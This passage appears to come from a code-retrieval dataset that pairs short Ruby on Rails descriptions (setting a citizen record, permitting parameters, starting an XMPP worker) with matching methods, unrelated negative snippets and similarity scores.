"def update\n @contact = Contact.find(params[:id])\n if params[:contact][:clientId] == \"\"\n params[:contact][:clientId] = nil\n end \n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to @contact, notice: 'Contato atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @canon = Canon.find(params[:id])\n # body = params[:canon][:body]\n # category_id = params[:canon][:category]\n\n respond_to do |format|\n # @canon.body = body\n # if category_id.nil?\n # @canon.category = nil\n # else\n # @canon.category = Category.find(category_id)\n # end\n\n # if @canon.save\n if @canon.update_attributes(params[:canon])\n format.html { redirect_to @canon, notice: 'Canon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @canon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n populate_attributes(@person, params[:person])\n respond_to do |format|\n \n if @person.save && @person.identifiable_entries.each(&:save!)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.66898173",
"0.6478291",
"0.63882166",
"0.63801754",
"0.6374047",
"0.6277703",
"0.62680304",
"0.6264005",
"0.62571484",
"0.62459874",
"0.624298",
"0.62174743",
"0.6205402",
"0.6182202",
"0.61635023",
"0.6159197",
"0.6153063",
"0.6152455",
"0.6135286",
"0.6133851",
"0.61184245",
"0.6104312",
"0.6102232",
"0.60978806",
"0.60833555",
"0.6081487",
"0.6073754",
"0.60694164",
"0.60620695",
"0.6061582",
"0.60581243",
"0.6043724",
"0.6026659",
"0.60073376",
"0.6004818",
"0.60019237",
"0.60016984",
"0.5979774",
"0.59795094",
"0.5973145",
"0.59722286",
"0.5954562",
"0.5949227",
"0.5947114",
"0.5934608",
"0.5934608",
"0.5928382",
"0.59282887",
"0.59195995",
"0.59099424",
"0.5909047",
"0.5906926",
"0.59066814",
"0.58998615",
"0.58972025",
"0.5893619",
"0.58914274",
"0.58870417",
"0.58864194",
"0.5885426",
"0.58830005",
"0.58826655",
"0.5881025",
"0.58808345",
"0.5872663",
"0.5869199",
"0.58671325",
"0.5864982",
"0.5864054",
"0.5863211",
"0.5860191",
"0.5855782",
"0.58483684",
"0.58454084",
"0.5842495",
"0.58356845",
"0.58351445",
"0.58311206",
"0.58257854",
"0.5824934",
"0.5821532",
"0.5818703",
"0.58165395",
"0.58163446",
"0.5812496",
"0.5810849",
"0.5808845",
"0.5808403",
"0.58056766",
"0.58038574",
"0.5802959",
"0.58017075",
"0.579438",
"0.5792867",
"0.5789714",
"0.5786495",
"0.5784172",
"0.5778722",
"0.5778343",
"0.5778316"
] |
0.64340967
|
2
|
Use callbacks to share common setup or constraints between actions.
|
def set_citizen
@citizen = Citizen.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def citizen_params
params.require(:citizen).permit(:email, :password, :email_notifications, :daily_updates, :instant_updates, :home_district_id, :current_profession_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
This method is called, when worker is loaded for the first time
|
def create(args = nil)
# Connects to the xmpp-client that is used for sending xmpp-messages
@send_client = connect(@@send_client_info)
# Connect to xmpp-client that is used for receiving messages that are then turn into http-requests
@receive_client = connect(@@receive_client_info)
runMessageReceiver
# Ensures that xmpp-server has node: home/host/<host>/<node_account>/contexts
XmppHelper::createContextGeneralNode
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize_worker\n nil\n end",
"def before_starting_workers\n end",
"def worker_begin(worker)\n end",
"def worker_initial_config\n\n end",
"def register_worker\n super\n\n puts \"Fifo Startup - Updating worker list\"\n manager.request_refresh\n end",
"def starting(worker)\n end",
"def preload!\n end",
"def worker_init\n raise \"Invalid worker name\" if !worker_name\n Thread.abort_on_exception = true\n\n # stores the job key of currently running job\n Thread.current[:job_key] = nil\n initialize_logger\n\n @thread_pool = ThreadPool.new(self,pool_size || 20,@logger)\n t_worker_key = worker_options && worker_options[:worker_key]\n\n @cache = ResultStorage.new(worker_name,t_worker_key,BDRB_CONFIG[:backgroundrb][:result_storage])\n\n if(worker_options && worker_options[:schedule] && no_auto_load)\n load_schedule_from_args\n elsif(BDRB_CONFIG[:schedules] && BDRB_CONFIG[:schedules][worker_name.to_sym])\n @my_schedule = BDRB_CONFIG[:schedules][worker_name.to_sym]\n new_load_schedule if @my_schedule\n end\n if respond_to?(:create)\n invoke_user_method(:create,worker_options[:data])\n end\n if run_persistent_jobs?\n add_periodic_timer(persistent_delay.to_i) {\n begin\n check_for_enqueued_tasks\n rescue Object => e\n puts(\"Error while running persistent task : #{Time.now}\")\n log_exception(e.backtrace)\n end\n }\n end\n write_pid_file(t_worker_key)\n end",
"def be_worker\n before_work\n super\n end",
"def on_after_load\n end",
"def on_begin_process()\n # subclasses may override this method \n end",
"def on_before_load\n end",
"def initialize\n @worker = Fetcher::Worker.new\n end",
"def initialize\n @worker = Fetcher::Worker.new\n end",
"def on_worker_boot(&block); end",
"def after_worker_boot(&block); end",
"def preload; end",
"def preload; end",
"def on_ready\n end",
"def on_initialization_finished()\n end",
"def preload\n nil\n end",
"def start\n @worker.start\n end",
"def initialize(worker)\n @worker = worker\n end",
"def did_start_up\n end",
"def ready; end",
"def ready; end",
"def init_worker\n @worker = FSEvent.new\n @worker.watch(@directory, :latency => @latency) do |changed_dirs|\n next if @paused\n\n changed_dirs.map! { |path| path.sub /\\/$/, '' }\n @callback.call(changed_dirs, {})\n end\n end",
"def reloader; end",
"def reloader; end",
